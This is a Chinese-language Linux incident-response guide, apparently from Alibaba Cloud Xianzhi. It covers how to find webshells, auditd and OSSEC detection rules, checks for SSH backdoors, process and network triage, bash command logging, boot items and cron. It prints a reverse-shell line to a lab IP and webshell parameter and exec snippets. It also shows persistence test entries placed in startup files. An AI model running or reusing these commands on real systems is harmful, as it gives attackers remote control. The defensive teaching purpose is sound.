2017-09-26 14:00:19
阅读:843次
点赞(0)
收藏
来源: 阿里云先知
作者:vinc@阿里云先知
一、前记
无论是甲方还是乙方的同学,应急响应可能都是家常便饭,你可能经常收到如下反馈:
运维同事 --> 服务器上存在可疑进程,系统资源占用高;
网络同事 --> 监控发现某台服务器对外大量发包;
....
不要着急,喝一杯82年的美年达压压惊,希望本文可以对你有所帮助。
二、排查流程
0x01 Web服务
一般如果网络边界做好控制,通常对外开放的仅是Web服务,那么需要先找到Webshell,可以通过如下途径:
1)检查最近创建的php、jsp文件和上传目录
例如要查找24小时内被修改的JSP文件:
>find./-mtime0-name"*.jsp"2)使用Webshell查杀工具
windows下D盾等,Linux下河马等。
3)与测试环境目录做对比
> diff -r {生产dir} {测试dir}
4)创建Audit审计规则
vim/etc/audit/audit.rules -aexclude,always-Fmsgtype=CONFIG_CHANGE -aexit,always-Farch=b64-Fuid=48-Sexecve-kwebshell产生日志如下:
type=SYSCALLmsg=audit(1505888691.301:898615):arch=c000003esyscall=59success=yesexit=0a0=ca5188a1=cb5ec8a2=cb5008a3=8items=2ppid=26159pid=26160auid=0uid=48gid=48euid=48suid=48fsuid=48egid=48sgid=48fsgid=48tty=(none)ses=120028comm="ls"exe="/bin/ls"subj=unconfined_u:system_r:httpd_t:s0key="webshell" type=EXECVEmsg=audit(1505888691.301:898615):argc=1a0="ls" type=CWDmsg=audit(1505888691.301:898615):cwd="/var/www/html/dvwa" type=PATHmsg=audit(1505888691.301:898615):item=0name="/bin/ls"inode=2359385dev=fd:00mode=0100755ouid=0ogid=0rdev=00:00obj=system_u:object_r:bin_t:s0nametype=NORMAL type=PATHmsg=audit(1505888691.301:898615):item=1name=(null)inode=1441842dev=fd:00mode=0100755ouid=0ogid=0rdev=00:00obj=system_u:object_r:ld_so_t:s0nametype=NORMAL可以看到所在目录为/var/www/html/dvwa
具体Auditd的使用如下:
Auditd服务介绍
Auditd服务是Linux自带的审计系统,用来记录审计信息,从安全的角度可以用于对系统安全事件的监控。
Auditd服务的配置文件位于/etc/audit/audit.rules,其中每个规则和观察器必须单独在一行中。语法如下:
-a<list>,<action><options><list>配置如下:
task 每个任务的列表。只有当创建任务时才使用。只有在创建时就已知的字段(比如UID)才可以用在这个列表中。 entry 系统调用条目列表。当进入系统调用确定是否应创建审计时使用。 exit 系统调用退出列表。当退出系统调用以确定是否应创建审计时使用。 user 用户消息过滤器列表。内核在将用户空间事件传递给审计守护进程之前使用这个列表过滤用户空间事件。有效的字段只有uid、auid、gid和pid。 exclude 事件类型排除过滤器列表。用于过滤管理员不想看到的事件。用msgtype字段指定您不想记录到日志中的消息。<action>配置如下:
never 不生成审计记录。 always 分配审计上下文,总是把它填充在系统调用条目中,总是在系统调用退出时写一个审计记录。如果程序使用了这个系统调用,则开始一个审计记录。<options>配置如下:
-S<syscall> 根据名称或数字指定一个系统。要指定所有系统调用,可使用all作为系统调用名称。 -F<name[=,!=,<,>,<=]value> 指定一个规则字段。如果为一个规则指定了多个字段,则只有所有字段都为真才能启动一个审计记录。每个规则都必须用-F启动,最多可以指定64个规则。常用的字段如下:
pid 进程ID。 ppid 父进程的进程ID。 uid 用户ID。 gid 组ID。 msgtype 消息类型号。只应用在排除过滤器列表上。 arch 系统调用的处理器体系结构。指定精确的体系结构,比如i686(可以通过uname-m命令检索)或者指定b32来使用32位系统调用表,或指定b64来使用64位系统调用表。 ...编写测试Java命令监控规则
Jboss的启动账户为nobody,添加审计规则
#grep'\-a'/etc/audit/audit.rules -aexclude,always-Fmsgtype=CONFIG_CHANGE -aexit,always-Farch=b32-Fuid=99-Sexecve-kwebshell重启服务
#serviceauditdrestart Stoppingauditd:[OK] Startingauditd:[OK]使用webshell测试:
1)菜刀马测试
菜刀马传递的参数为
tom=M&z0=GB2312&z1=-c/bin/sh&z2=cd/;whoami;echo[S];pwd;echo[E]所执行的程序如下:
elseif(Z.equals("M")){String[]c={z1.substring(2),z1.substring(0,2),z2};Processp=Runtime.getRuntime().exec(c);审计日志如下:
type=EXECVEmsg=audit(1500273887.809:7496):argc=3a0="/bin/sh"a1="-c"a2=6364202F7765622F70726F6A6563742F7A616F6A69617379732E6A69616E73686539392E636F6D2E636563616F707379732F636563616F707379732F3B77686F616D693B6563686F205B535D3B7077643B6563686F205B455D2)jspspy测试
jspspy传递的参数为
o=shell&type=command&command=netstat+-antlp&submit=Execute所执行的程序如下:
Stringtype=request.getParameter("type"); if(type.equals("command")){ ins.get("vs").invoke(request,response,JSession); out.println("<divstyle='margin:10px'><hr/>"); out.println("<pre>"); Stringcommand=request.getParameter("command"); if(!Util.isEmpty(command)){ Processpro=Runtime.getRuntime().exec(command); BufferedReaderreader=newBufferedReader(newInputStreamReader(pro.getInputStream())); Strings=reader.readLine();审计日志如下:
type=EXECVEmsg=audit(1500273958.180:7500):argc=1a0="whoami"OSSEC监控配置
OSSEC本身已经包含了auditd事件的解码规则,例如:
<decodername="auditd"> <prematch>^type=</prematch> </decoder> .......但是在RULES里面没有找到现成的规则,编辑local_rules.xml,新增
<groupname="syslog,auditd,"> <ruleid="110000"level="0"noalert="1"> <decoded_as>auditd</decoded_as> <description>AUDITDmessagesgrouped.</description> </rule> <ruleid="110001"level="10"> <if_sid>110000</if_sid> <match>EXECVE</match> <description>Javaexecutioncommand</description> </rule> </group>测试
[root@localhostossec]#./bin/ossec-logtest 2017/07/1716:28:26ossec-testrule:INFO:Readinglocaldecoderfile. 2017/07/1716:28:26ossec-testrule:INFO:Started(pid:9463). ossec-testrule:Typeonelogperline. type=EXECVEmsg=audit(1500273958.180:7500):argc=1a0="whoami" **Phase1:Completedpre-decoding. fullevent:'type=EXECVEmsg=audit(1500273958.180:7500):argc=1a0="whoami"' hostname:'localhost' program_name:'(null)' log:'type=EXECVEmsg=audit(1500273958.180:7500):argc=1a0="whoami"' **Phase2:Completeddecoding. decoder:'auditd' **Phase3:Completedfiltering(rules). Ruleid:'110001' Level:'10' Description:'Javaexecutioncommand' **Alerttobegenerated.然后在Agent端添加监控文件
<localfile> <log_format>syslog</log_format> <location>/var/log/audit/audit.log</location> </localfile>然后jspspy执行系统命令,可以看到告警如下
[root@localhostossec]#tail-f/var/ossec/logs/alerts/alerts.log **Alert1500280231.400419:mail-syslog,auditd, 2017Jul1716:30:31(agent-31)10.110.1.31->/var/log/audit/audit.log Rule:110001(level10)->'Javaexecutioncommand' type=EXECVEmsg=audit(1500280229.507:7665):argc=1a0="pwd"这里还需考虑的一个问题是白名单,例如公司的一些站点本身就会调用视频处理的一些功能,也会调用系统命令。所以为了避免误报,需要新增一个白名单功能。
这里我们修改一下local_rules.xml,新增白名单规则,并且放到EXECVE规则上面。
<groupname="syslog,auditd,"> <ruleid="110000"level="0"noalert="1"> <decoded_as>auditd</decoded_as> <description>AUDITDmessagesgrouped.</description> </rule> <ruleid="110001"level="0"> <if_sid>110000</if_sid> <regex>whoami|passwd</regex> <description>Javaexecutionwhitelist</description> </rule> <ruleid="110002"level="10"> <if_sid>110000</if_sid> <match>EXECVE</match> <description>Javaexecutioncommand</description> </rule> </group>如上所示,执行whoami和cat /etc/passwd的时候不会产生告警。
其他
如果没有通过上述途径找到Webshell,可以通过Access Log获取一些信息。
1)扫描特征
通常日志中会伴随一些其他攻击特征,例如可以用如下语句
egrep'(select|script|acunetix|sqlmap)'/var/log/httpd/access_log2)访问频次
重点关注POST请求
grep'POST'/var/log/httpd/access_log|awk'{print$1}'|sort|uniq-c|sort-nr3)Content-Length
Content-Length过大的请求,例如过滤Content-Length大于5M的日志
awk '{if($10>5000000){print $0}}' /var/log/httpd/access_log
注意
这里如果发现文件,不要直接用vim查看编辑文件内容,这样会更改文件的mtime,而对于应急响应来说,时间点很重要。对比时间点更容易在Log找到其他的攻击痕迹。
0x02 SSH服务
查看登录信息
登录成功:
grep'Accepted'/var/log/secure|awk'{print$11}'|sort|uniq-c|sort-nr或者last命令,它会读取位于/var/log/wtmp的文件,并把该文件记录的登录系统的用户名单,全部显示出来。
登录失败:
grep'Failed'/var/log/secure|awk'{print$11}'|sort|uniq-c|sort-nr或者lastb命令,会读取位于/var/log/btmp的文件,并把该文件记录的登入系统失败的用户名单,全部显示出来。
检查SSH后门
1)比对ssh的版本
>ssh-V2)查看ssh配置文件和/usr/sbin/sshd的时间
>stat/usr/sbin/sshd3)strings检查/usr/sbin/sshd,看是否有邮箱信息
strings可以查看二进制文件中的字符串,在应急响应中是十分有用的。有些sshd后门会通过邮件发送登录信息,通过strings /usr/sbin/sshd可以查看到邮箱信息。
4)通过strace监控sshd进程读写文件的操作
一般的sshd后门都会将账户密码记录到文件,可以通过strace进程跟踪到ssh登录密码文件。
psaxu|grepsshd|grep-vgrep root655300.00.1484281260?Ss13:430:00/usr/sbin/sshd strace-oaa-ff-p65530 grepopenaa*|grep-v-eNo-enull-edenied|grepWR aa.102586:open("/tmp/ilog",O_WRONLY|O_CREAT|O_APPEND,0666)=40x03 进程
检查是否存在可疑进程,需要注意如果攻击者获取到了Root权限,被植入内核或者系统层Rootkit的话,进程也会隐藏。
1)资源占用
Top然后找到CPU和MEM排序
2)启动时间
可疑与前面找到的Webshell时间点比对。
3)启动权限
这点很重要,比如某次应急中发现木马进程都是mysql权限执行的,如下所示:
mysql6376345.30.0122849616?R01:18470:54./db_temp/dazui.4 mysql637650.00.0122849616?S01:180:01./db_temp/dazui.4 mysql637660.00.0122849616?S01:180:37./db_temp/dazui.4 mysql6410045.20.0122849616?R01:20469:07./db_temp/dazui.4 mysql641010.00.0122849616?S01:200:01./db_temp/dazui.4那基本可以判断是通过Mysql入侵,重点排查Mysql弱口令、UDF提权等。
4)父进程
例如我在菜刀中反弹Bash
[root@server120html]#ps-ef|grep'/dev/tcp'|grep-vgrep apache266411014014:59?00:00:00sh-c/bin/sh-c"cd/root/apache-tomcat-6.0.32/webapps/ROOT/;bash-i>&/dev/tcp/192.168.192.144/23450>&1;echo[S];pwd;echo[E]"2>&1父进程进程号1014
[root@server120html]#ps-ef|grep1014 apache101410110Sep19?00:00:00/usr/sbin/httpd可以看到父进程为apache,就可以判断攻击者通过Web入侵。
获取到可疑进程号之后,可疑使用lsof -p pid查看相关文件和路径。
例如之前遇到的十字病毒,会修改ps和netstat显示的进程名称
udp000.0.0.0:499370.0.0.0:*131683/ls-la udp000.0.0.0:475840.0.0.0:*116515/ifconfig使用lsof -p pid可以看到可执行文件
[root@DataNode105admin]#lsof-p131683 COMMANDPIDUSERFDTYPEDEVICESIZE/OFFNODENAME hahidjqzx131683rootcwdDIR8,98409618087937/root hahidjqzx131683rootrtdDIR8,9840962/ hahidjqzx131683roottxtREG8,9862562224123895/usr/bin/hahidjqzxs可以文件类型可以使用file获取;
[root@server120tmp]#file.zl zl:ELF32-bitLSBexecutable,Intel80386,version1(SYSV),staticallylinked,forGNU/Linux2.6.9,notstripped对于二进制的文件可以使用strings读取可读字符
[root@server120tmp]#strings.zl rm-f/boot/IptabLes;rm-f/boot/.IptabLes;rm-f/boot/IptabLex;rm-f/boot/.IptabLex;rm-f/usr /IptabLes;rm-f/usr/.IptabLes;rm-f/usr/IptabLex;rm-f/usr/.IptabLex netstat-anp|grep"IptabLes"|awk'{print$NF}'|cut-d"/"-f1|xargskill-9>/dev/null;free-m >/dev/null netstat-anp|grep"IptabLex"|awk'{print$NF}'|cut-d"/"-f1|xargskill-9>/dev/null;free-m >/dev/null例如之前应急遇到的命令替换,通过Strings查看发现有大量的IP地址。
[root@i-9kp9tipmlog]#strings/usr/bin/.sshd|egrep'[1-9]{1,3}\.[1-9]{1,3}\.' 8.8.8.8 8.8.4.4 8.8.8.8 61.132.163.68 202.102.192.68 202.102.213.68 58.242.2.2 202.38.64.1 211.91.88.129 211.138.180.2 218.104.78.2 202.102.199.68 202.175.3.30x04 网络连接
需要注意如果攻击者获取到了Root权限,被植入内核或者系统层Rootkit的话,连接是可以被隐藏的。
netstat-antlp|grepESTABLISHED查看已经建立的网络连接,例如反弹bash
[root@server120html]#netstat-antlp|grepEST|grepbash tcp00192.168.192.120:41320192.168.192.144:2345ESTABLISHED26643/bash netstat-antlp|grepLISTEN检查可以监听端口,例如攻击者在本地开启sock5代理,然后使用SSH反弹sock5。
[root@server120html]#netstat-antlp|grepLISTEN|grep1080 tcp000.0.0.0:10800.0.0.0:*LISTEN26810/python lsof-i:{port}0x05 敏感目录
/tmp, /var/tmp, /dev/shm,所有用户都可读,可写,可执行
[root@server120~]#ls-ald/tmp/ drwxrwxrwt.10rootroot40969月2009:41/tmp/ [root@server120~]#ls-ald/var/tmp/ drwxrwxrwt.2rootroot40969月1816:57/var/tmp/ [root@server120~]#ls-ald/dev/shm drwxrwxrwt.3rootroot609月110:23/dev/shm0x06 history
默认的history仅记录执行的命令,然而这些对于应急来说是不够的,很多系统加固脚本会添加记录命令执行的时间,修改记录的最大条数。之前写的关于Bash审计方式也很推荐。从Bash4.1 版本开始,Bash开始支持Rsyslog,
下载bash-4.4,下载地址: https://ftp.gnu.org/gnu/bash/
现在本机编译一份
1)修改bashhist.c:
修改771行
syslog(SYSLOG_FACILITY|SYSLOG_LEVEL,"PID=%dUID=%dUser=%sCmd=%s",getpid(),current_user.uid,current_user.user_name,line);修改776行
syslog(SYSLOG_FACILITY|SYSLOG_LEVEL,"PID=%dUID=%dUser=%sCmd=%s",getpid(),current_user.uid,current_user.user_name,trunc);2)再修改config-top.h
去掉115行/**/
syslog的FACILITY为 user,日志级别为info
3)
./configure--prefix=/usr/local/bash&&make&&makeinstall将/usr/local/bash/bin/bash拷贝出来
备份线上服务器原/bin/bash
[root@localhost~]#mv/bin/bash/bin/bashbakRZ放到线上服务器
修改权限为755
4)修改rsyslog配置,这里我们先输出到本地测试一下
[root@zaojiasys_31admin]#touch/var/log/bash.log [root@zaojiasys_31admin]#vim/etc/rsyslog.conf添加user.info /var/log/bash.log
[root@zaojiasys_31admin]#servicersyslogrestart [root@zaojiasys_31admin]#tail-f/var/log/bash.log Jul2516:22:15localhostbash[18540]:PID=18540UID=0User=rootCmd=tail-f/var/log/bash.log Jul2516:22:21localhostbash[19033]:PID=19033UID=0User=rootCmd=whoami 5) [root@zaojiasys_31admin]#vim/etc/rsyslog.conf修改*.info;mail.none;authpriv.none;cron.none;local6.none;user.none /var/log/messages 添加user.none
添加user.info @10.110.1.33:3514
使用ELK,首先配置logstash
input{ syslog{ port=>"3514" type=>"bash" } } filter{ grok{ match=>{ "message"=>"PID=%{NUMBER:processid}UID=%{NUMBER:uid}User=%{WORD:user}Cmd=%{GREEDYDATA:cmd}" } } date{ match=>["timestamp","MMMddHH:mm:ss"] target=>"@timestamp" "locale"=>"en" timezone=>"UTC" } mutate{ remove_field=>["message"] } } output{ if"_grokparsefailure"notin[tags]{ elasticsearch{ hosts=>"10.110.1.33:9200" index=>"bash_%{+YYYY.MM.dd}" } } }Elasticsearch 添加模板
curl-XPUT10.59.0.248:9200/_template/template_bash-d' { "template":"bash_*", "order":10, "settings":{ "number_of_shards":5, "number_of_replicas":0 }, "mappings":{ "_default_":{ "_all":{"enabled":true,"omit_norms":true}, "properties":{ "@timestamp":{"type":"date"}, "host":{"type":"keyword"}, "cmd":{"type":"keyword"}, "user":{"type":"keyword"}, "uid":{"type":"integer"}, "processid":{"type":"integer"} } } } }查看Kibana
[root@server120~]#ll/bin/sh lrwxrwxrwx.1rootroot43月212016/bin/sh->bash
/bin/sh是软链到/bin/bash的,/bin/sh也可以审计到。
另外禁用其他的shell:
#chmod750/bin/csh #chmod750/bin/tcsh #chmod750/bin/dash0x07 开机启动
在应急响应时,开机启动项是必查的项,下面梳理一下关于开机启动与服务相关需要排查的点。直接从init开始说。
RHEL5、RHEL6、RHEL7的init系统分别为sysvinit、upstart、systemd。这里CentOS7暂且不表,因为生产环境绝大部分都是CentOS6,少量的CentOS5。
CentOS 5:
init程序会读取init的配置文件/etc/inittab,并依据此文件来进行初始化工作。/etc/inittab文件主要作用是指定运行级别,执行系统初始化脚本(/etc/rc.d/rc.sysinit),启动相应运行级别下的服务和启动终端。
[root@jianshe_28admin]#cat/etc/inittab # #inittabThisfiledescribeshowtheINITprocessshouldsetup #thesysteminacertainrun-level. # #Author:MiquelvanSmoorenburg,<[email]miquels@drinkel.nl.mugnet.org[/email]> #ModifiedforRHSLinuxbyMarcEwingandDonnieBarnes # #Defaultrunlevel.TherunlevelsusedbyRHSare: #0-halt(DoNOTsetinitdefaulttothis) #1-Singleusermode #2-Multiuser,withoutNFS(Thesameas3,ifyoudonothavenetworking) #3-Fullmultiusermode #4-unused #5-X11 #6-reboot(DoNOTsetinitdefaulttothis) # id:3:initdefault: #Systeminitialization. si::sysinit:/etc/rc.d/rc.sysinit l0:0:wait:/etc/rc.d/rc0 l1:1:wait:/etc/rc.d/rc1 l2:2:wait:/etc/rc.d/rc2 l3:3:wait:/etc/rc.d/rc3 l4:4:wait:/etc/rc.d/rc4 l5:5:wait:/etc/rc.d/rc5 l6:6:wait:/etc/rc.d/rc6 #TrapCTRL-ALT-DELETE ca::ctrlaltdel:/sbin/shutdown-t3-rnow #WhenourUPStellsuspowerhasfailed,assumewehaveafewminutes #ofpowerleft.Scheduleashutdownfor2minutesfromnow. #Thisdoes,ofcourse,assumeyouhavepowerdinstalledandyour #UPSconnectedandworkingcorrectly. pf::powerfail:/sbin/shutdown-f-h+2"PowerFailure;SystemShuttingDown" #Ifpowerwasrestoredbeforetheshutdownkickedin,cancelit. pr:12345:powerokwait:/sbin/shutdown-c"PowerRestored;ShutdownCancelled" #Rungettysinstandardrunlevels 1:2345:respawn:/sbin/mingettytty1 2:2345:respawn:/sbin/mingettytty2 3:2345:respawn:/sbin/mingettytty3 4:2345:respawn:/sbin/mingettytty4 5:2345:respawn:/sbin/mingettytty5 6:2345:respawn:/sbin/mingettytty6 #Runxdminrunlevel5 x:5:respawn:/etc/X11/prefdm-nodaemon inittab文件中的值都是如下格式: >id:runlevel:action:processid:
id是指入口标识符,他是个字符串,对于getty、mingetty等,需求id和tty的编号相同,否则getty将不能正常工作。
runlevel:
指定runlevel的级别。能指定多个runlevel级别,也能不为runlevel字段指定特定的值。
运行级别决定了系统启动的绝大部分行为和目的。这个级别从0到6,具有不同的功能。不同的运行级定义如下:
# 0 - 停机(千万别把initdefault设置为0,否则系统永远无法启动)
# 1 - 单用户模式
# 2 - 多用户,没有 NFS
# 3 - 完全多用户模式(标准的运行级)
# 4 - 系统保留的
# 5 - X11 (x window)
# 6 - 重新启动
action:
定义了该进程应该运行在何种状态下,其中action常用的种类有:
wait:切换至某级别运行一次process
respawn:此process终止的话,就重新启动之
initdefault:设置默认运行级别的,process省略
sysinit:设定系统初始化方式,此处一般指定为:/etc/rc.d/rc.sysinit
process:
包含init执行的进程
下面看一下具体的配置
> id:3:initdefault:
设置runlevel
> si::sysinit:/etc/rc.d/rc.sysinit
执行了/etc/rc.d/rc.sysinit,一个shell脚本,他主要是完成一些系统初始化的工作,例如激活交换分区,检查磁盘,加载硬件模块及其他一些需要优先执行任务。
l0:0:wait:/etc/rc.d/rc0 l1:1:wait:/etc/rc.d/rc1 l2:2:wait:/etc/rc.d/rc2 l3:3:wait:/etc/rc.d/rc3 l4:4:wait:/etc/rc.d/rc4 l5:5:wait:/etc/rc.d/rc5 l6:6:wait:/etc/rc.d/rc6/etc/rc.d/rc是个shell脚本,接受runlevel参数,去执行该runlevel目录下的所有的rc启动脚本。以启动级别为3为例,/etc/rc.d/rc3.d/其实都是一些链接文件,真正的rc启动脚本实际上都是放在/etc/rc.d/init.d/目录下。而这些rc启动脚本有着类似的用法,他们一般能接受start、stop、restart、status等参数。
[root@localhostinit.d]#ll/etc/rc.d/rc3.d/ lrwxrwxrwx.1rootroot16Jul1315:04K01smartd->../init.d/smartd lrwxrwxrwx.1rootroot16Jul1315:05S11auditd->../init.d/auditd .....凡是以Kxx开头的,都以stop为参数来调用;凡是以Sxx开头的,都以start为参数来调用。xx是数字、表示的是启动顺序,按xx从小到大来执行。
我们来用chkconfig修改一下试试
[root@localhostrc3.d]#ll|grepaudit lrwxrwxrwx.1rootroot16Jul1315:05S11auditd->../init.d/auditd [root@localhostrc3.d]#chkconfigauditdoff--level3 [root@localhostrc3.d]#ll|grepaudit lrwxrwxrwx1rootroot16Jul2014:00K88auditd->../init.d/auditd另外说明一下应急响应中我们都会检查/etc/rc.local,其实也是在rcN.d中。
/etc/rc.local是软链到了/etc/rc.d/rc.local
[root@localhostinit.d]#ll/etc/rc.local lrwxrwxrwx.1rootroot13Jul1315:03/etc/rc.local->rc.d/rc.localRedhat中的运行模式2、3、5都把/etc/rc.d/rc.local做为初始化脚本中的最后一个
[root@localhostrc3.d]#ll/etc/rc.d/rc3.d/S99local lrwxrwxrwx.1rootroot11Jul1315:03/etc/rc.d/rc3.d/S99local->../rc.local 1:2345:respawn:/sbin/mingettytty1 2:2345:respawn:/sbin/mingettytty2 3:2345:respawn:/sbin/mingettytty3 4:2345:respawn:/sbin/mingettytty4 5:2345:respawn:/sbin/mingettytty5 6:2345:respawn:/sbin/mingettytty6init接下来会打开6个终端,以便用户登录系统。
总结一下,针对CentOS5系统,需要排查的点:
1)/etc/inittab
该文件是可以运行process的,这里我们添加一行
>0:235:once:/bin/vinc内容如下
[root@localhost~]#cat/bin/vinc #!/bin/bash cat/etc/issue>/tmp/version重启
[root@localhost~]#cat/tmp/version CentOSrelease5.5(Final) Kernel\ronan\m2)/etc/rc.d/rc.sysinit
在最后插入一行/bin/vinc
[root@localhost~]#ll/tmp/version -rw-r--r--1rootroot4711-0510:10/tmp/version 3)/etc/rc.d/init.d 4)/etc/rc.d/rc.localCentOS 6:
init会读取配置文件/etc/inittab 和 /etc/init/*.conf。先看一下/etc/inittab
[root@server120src]#cat/etc/inittab #inittabisonlyusedbyupstartforthedefaultrunlevel. # #ADDINGOTHERCONFIGURATIONHEREWILLHAVENOEFFECTONYOURSYSTEM. # #Systeminitializationisstartedby/etc/init/rcS.conf # #Individualrunlevelsarestartedby/etc/init/rc.conf # #Ctrl-Alt-Deleteishandledby/etc/init/control-alt-delete.conf # #Terminalgettysarehandledby/etc/init/tty.confand/etc/init/serial.conf, #withconfigurationin/etc/sysconfig/init. # #Forinformationonhowtowriteupstarteventhandlers,orhow #upstartworks,seeinit(5),init(8),andinitctl(8). # #Defaultrunlevel.Therunlevelsusedare: #0-halt(DoNOTsetinitdefaulttothis) #1-Singleusermode #2-Multiuser,withoutNFS(Thesameas3,ifyoudonothavenetworking) #3-Fullmultiusermode #4-unused #5-X11 #6-reboot(DoNOTsetinitdefaulttothis) # id:3:initdefault:通过注释可以看到,upstart只使用inittab读取默认的runlevel。添加其他的配置都不会生效,其他的配置都移动到了/etc/init/*.conf下。
系统初始化/etc/init/rcS.conf
对应runlevel的服务启动/etc/init/rc.conf
终端配置/etc/init/tty.conf
....
总结一下,针对CentOS6系统,需要排查的点:
1)/etc/init/*.conf
vim tty.conf,添加一行
>exec/bin/vinc内容如下:
[root@vincenthostnameinit]#cat/bin/vinc #!/bin/bash touch/tmp/vinc重启
[root@vincenthostname~]#ll/tmp/vinc -rw-r--r--1rootroot06月2215:07/tmp/vinc 2)/etc/rc.d/rc.sysinit 3)/etc/rc.d/init.d 4)/etc/rc.d/rc.local0x08 定时任务
在应急响应中,最重要的一个点就是定时任务,例如Redis未授权通过持久化配置写入Crontab中。下面梳理一下定时任务相关的知识点:
一般常用的定时任务crontab -l是用户级别的,保存在/var/spool/cron/{user},每个用户都可以通过crontab -e编辑自己的定时任务列表。
而/etc/crontab是系统级别的定时任务,只有Root账户可以修改。
另外在应急的时候需要留意的点还有/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly等周期性执行脚本的目录。例如我想每天执行一个脚本,只需要放到/etc/cron.daily下,并且赋予执行权限即可。
那这些目录下的任务是怎么调用的?这里CentOS5和CentOS6还是有区别的。
CentOS5中:
[root@jianshe_28/]#cat/etc/issue CentOSrelease5.8(Final) Kernel\ronan\m [root@jianshe_28/]#cat/etc/crontab SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root HOME=/ #run-parts 01****rootrun-parts/etc/cron.hourly 024***rootrun-parts/etc/cron.daily 224**0rootrun-parts/etc/cron.weekly 4241**rootrun-parts/etc/cron.monthlyrun-parts命令位于/usr/bin/run-parts,内容是很简单的一个shell脚本,就是遍历目标文件夹,执行第一层目录下的可执行权限的文件。
所以在CentOS5下是实际是通过/etc/crontab来运行/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly下面的脚本的。
这里我们注意到在/etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly下都有一个脚本0anacron
[root@jianshe_28cron.daily]#cat/etc/cron.daily/0anacron|grep-v'^#'|grep-v'^$' if[!-e/var/run/anacron.pid];then anacron-ucron.daily fi [root@jianshe_28cron.daily]#cat/etc/cron.weekly/0anacron|grep-v'^#'|grep-v'^$' if[!-e/var/run/anacron.pid];then anacron-ucron.weekly fi [root@jianshe_28cron.daily]#cat/etc/cron.monthly/0anacron|grep-v'^#'|grep-v'^$' if[!-e/var/run/anacron.pid];then anacron-ucron.monthly fi这里就需要介绍一些/usr/sbin/anacron,anacron是干什么的?
anacron主要在处理非 24 小时一直启动的 Linux 系统的 crontab 的运行。所以 anacron 并不能指定何时运行某项任务, 而是以天为单位或者是在启动后立刻进行 anacron 的动作,他会去检查停机期间应该进行但是并没有进行的 crontab 任务,并将该任务运行一遍后,anacron 就会自动停止了。
anacron的配置文件是/etc/anacrontab
[root@jianshe_28cron.daily]#cat/etc/anacrontab #/etc/anacrontab:configurationfileforanacron #Seeanacron(8)andanacrontab(5)fordetails. SHELL=/bin/sh PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root 165cron.dailyrun-parts/etc/cron.daily 770cron.weeklyrun-parts/etc/cron.weekly 3075cron.monthlyrun-parts/etc/cron.monthly具体含义如下:
第一部分是轮回天数,即是指任务在多少天内执行一次,monthly 就是一个月(30天)内执行,weekly 即是在一周之内执行一次。
第二部分 delay 是指轮回内的重试时间,这个意思有两部分,一个是 anacron 启动以后该服务 ready 暂不运行的时间(周任务的 70 delay 在 anacron 启动后70分钟内不执行,而处于 ready 状态),另一个是指如果该任务到达运行时间后却因为某种原因没有执行(比如前一个服务还没有运行完成,anacron 在 /etc/init.d 的脚本中加了一个 -s 参数,便是指在前一个任务没有完成时不执行下一个任务),依然以周任务和月任务为例,周任务在启动 anacron 后的 70 分钟执行,月任务在服务启动后 75 分钟执行,但是,如果月任务到达服务启动后 75 分钟,可是周任务运行超过5分钟依然没有完成,那月任务将会进入下一个 75 分钟的轮回,在下一个 75 分钟时再检查周任务是否完成,如果前一个任务完成了那月任务开始运行。
第三部分 job-identifier ,anacron 每次启动时都会在 /var/spool/anacron 里面建立一个以 job-identifier 为文件名的文件,里面记录着任务完成的时间,如果任务是第一次运行的话那这个文件应该是空的。anacron运行时,会去检查“/var/spool/anacron/这部分”文件中的内容,内容为一个日期,如下:
[root@localhost/]#cat/var/spool/anacron/cron. cron.dailycron.monthlycron.weekly [root@localhost/]#cat/var/spool/anacron/cron.* 20170719 20170713 20170713根据这个日期判断下面的第四部分要不要执行。 比如说这里写的是cron.daily,然后/var/spool/anacron/cron.daily文件中记录的日期为昨天的话,那anancron执行后就行执行这一行对应第四行的动作。
第四部分最为简单,仅仅是你想运行的命令
/usr/sbin/anacron常用参数:
-s :开始连续的运行各项工作 (job),会依据时间记录档的数据判断是否进行;
-f :强制进行,而不去判断时间记录档的时间戳记;
-n :立刻进行未进行的任务,而不延迟 (delay) 等待时间;
-u :仅升级时间记录档的时间戳记,不进行任何工作。
所以在CentOS5中已经通过/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly已经通过/etc/crontab配置执行了,所以这里只是通过anacron -u来记录了执行的时间。
CentOS6中:
[root@localhost/]#cat/etc/issue CentOSrelease6.5(Final) Kernel\ronan\m [root@localhost/]#cat/etc/crontab SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root HOME=/ #Fordetailsseeman4crontabs #Exampleofjobdefinition: #.----------------minute(0-59) #|.-------------hour(0-23) #||.----------dayofmonth(1-31) #|||.-------month(1-12)ORjan,feb,mar,apr... #||||.----dayofweek(0-6)(Sunday=0or7)ORsun,mon,tue,wed,thu,fri,sat #||||| #*****user-namecommandtobeexecuted可以看到默认的/etc/crontab为空了。那么/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly下面的任务是怎么执行的?
我们再仔细看一下,注意到CentOS5下的/etc/cron.d目录为空。
[root@jianshe_28cron.daily]#ll/etc/cron.d total0而CentOS6下有一个0hourly
[root@localhost/]#ll/etc/cron.d total12 -rw-r--r--1rootroot113Jul1819:360hourly看一下执行的任务
[root@localhost/]#cat/etc/cron.d/0hourly SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root HOME=/ 01****rootrun-parts/etc/cron.hourly然后看一下/etc/cron.hourly所执行的脚本
[root@localhost/]#ll/etc/cron.hourly total4 -rwxr-xr-x1rootroot409Jul1814:200anacron [root@localhost/]#cat/etc/cron.hourly/0anacron #!/bin/bash #Skipexcecutionunlessthedatehaschangedfromthepreviousrun iftest-r/var/spool/anacron/cron.daily;then day=`cat/var/spool/anacron/cron.daily` fi if[`date+%Y%m%d`="$day"];then exit0; fi #SkipexcecutionunlessACpowered iftest-x/usr/bin/on_ac_power;then /usr/bin/on_ac_power&>/dev/null iftest$?-eq1;then exit0 fi fi /usr/sbin/anacron-s然后看一下/etc/anacrontab的内容
